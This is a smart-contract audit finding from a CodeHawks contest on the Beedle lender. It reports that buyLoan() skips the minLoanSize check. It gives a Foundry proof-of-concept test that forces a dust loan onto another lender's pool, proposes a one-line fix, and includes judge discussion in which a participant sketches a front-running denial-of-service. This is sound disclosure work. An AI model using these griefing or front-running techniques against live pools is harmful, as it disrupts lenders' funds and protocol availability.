Griefing a lender with dust loans

[codehawks-bot]

Griefing a lender with dust loans

Severity

Medium Risk

Summary

In buyLoan(), there is no validation if the totalDebt < pool.minLoanSize. Therefore, a lender can be given a loan with very small loan which he doesn't want at all.

Vulnerability Details

Since buyLoan() can be called by anyone, a malicious borrower can borrow a loan from his own pool with a pretty small minLoanSize so that he/she can self-borrow a small loan from his/her own pool, then forcefully push this loan by calling buyLoan() with his/her own loan to a random pool with enough pool balance of the pairs. Doing this cause griefing to the lender.

POC

1. We mint the loanToken to borrower so that he can set up his pool in setUp() function of Lender.t.sol

   +        loanToken.mint(address(borrower), 100000 * 10 ** 18);

2. Paste this code into Lender.t.sol: https://github.com/Cyfrin/2023-07-beedle/blob/main/test/Lender.t.sol. Right here the borrower set up his pool with very small minLoanSize of 1 * 10 ** 18 and borrow the loan himself/herself.

   function test_borrowPoc() public {
       vm.startPrank(borrower);
       Pool memory p = Pool({
           lender: borrower,
           loanToken: address(loanToken),
           collateralToken: address(collateralToken),
           minLoanSize: 1 * 10 ** 18,
           poolBalance: 10 * 10 ** 18,
           maxLoanRatio: 2 * 10 ** 18,
           auctionLength: 1 days,
           interestRate: 1000,
           outstandingLoans: 0
       });
       bytes32 poolId = lender.setPool(p);
   
       (, , , , uint256 poolBalance, , , , ) = lender.pools(poolId);
       assertEq(poolBalance, 10 * 10 ** 18);
   
       Borrow memory b = Borrow({
           poolId: poolId,
           debt: 1 * 10 ** 18,
           collateral: 1 * 10 ** 18
       });
       Borrow[] memory borrows = new Borrow[](1);
       borrows[0] = b;
       lender.borrow(borrows);
   
       assertEq(collateralToken.balanceOf(address(lender)), 1 * 10 ** 18);
   }

3. Paste this code into Lender.t.sol: https://github.com/Cyfrin/2023-07-beedle/blob/main/test/Lender.t.sol. Right here the borrower starts the auction for his loan and call buyLoan() with the pool of lender1, which has the minLoanSize value of 100 * 10 ** 18. The test goes through successfully, meaning the loan is bought to the new pool.

   function test_bypassMinLoanSize() public {
       test_borrowPoc();
       // accrue interest
       vm.warp(block.timestamp + 1 days);
       // kick off auction
       vm.startPrank(borrower);
   
       uint256[] memory loanIds = new uint256[](1);
       loanIds[0] = 0;
   
       lender.startAuction(loanIds);
   
       vm.startPrank(lender1);
       Pool memory p = Pool({
           lender: lender1,
           loanToken: address(loanToken),
           collateralToken: address(collateralToken),
           minLoanSize: 100 * 10 ** 18,
           poolBalance: 1000 * 10 ** 18,
           maxLoanRatio: 2 * 10 ** 18,
           auctionLength: 1 days,
           interestRate: 1000,
           outstandingLoans: 0
       });
       bytes32 poolId = lender.setPool(p);
   
       // warp to middle of auction
       vm.warp(block.timestamp + 12 hours);
   
       vm.startPrank(borrower);
   
       lender.buyLoan(0, poolId);
   }

   Use forge test --mt test_bypassMinLoanSize to run this test case.

Impact

minLoanSize - the minimum loan size they are willing to take (this is to prevent griefing a lender with dust loans). Ref: Contract Overview - https://www.codehawks.com/contests/clkbo1fa20009jr08nyyf9wbx

1. The protocol declares a minLoanSize validation to address the above issue. However, the buyLoan() is missing this validation and allows an attacker to grief the lender.
2. The lender may accidentally buy a loan whose size is below his minLoanSize's pool configs via zapBuyLoan().

Tools Used

Manual

Recommendations

Consider implement a validation for min loan size like other functions in the contract after line 485.

485      uint256 totalDebt = loan.debt + lenderInterest + protocolInterest;
+        if (totalDebt < pool.minLoanSize) revert LoanTooSmall();

[PatrickAlphaC]

Note: There are a lot of these issues. Need to double check some closed ones if this is approved.

[PatrickAlphaC]

Moving to low, impact and likelihood seem very low

[sonny2k]

Another impact of this is that a malicious user can use buyLoan() to front run another user trying to borrow the loan. Assuming the malicious user sees in the mem-pool that someone tries to borrow() all the loan from a random pool, the malicious user can front-run the borrower and use buyLoan() to give his own-borrowed small loan into the pool, which deducted the poolBalance of that pool, now the transaction of the borrower is reverted as the poolBalance is underflow with the borrow amount. After this the malicious user can repay() immediately as there is no delay between borrow() and repay(), and continues to dos other pools. So I think this issue may be a medium one...

https://docs.codehawks.com/rewards-and-judging#What-is-a-finding?

Medium: Disruption of protocol functionality or availability

[PatrickAlphaC]

That's a different vulnerability though. You can't submit a new issue in an escalation!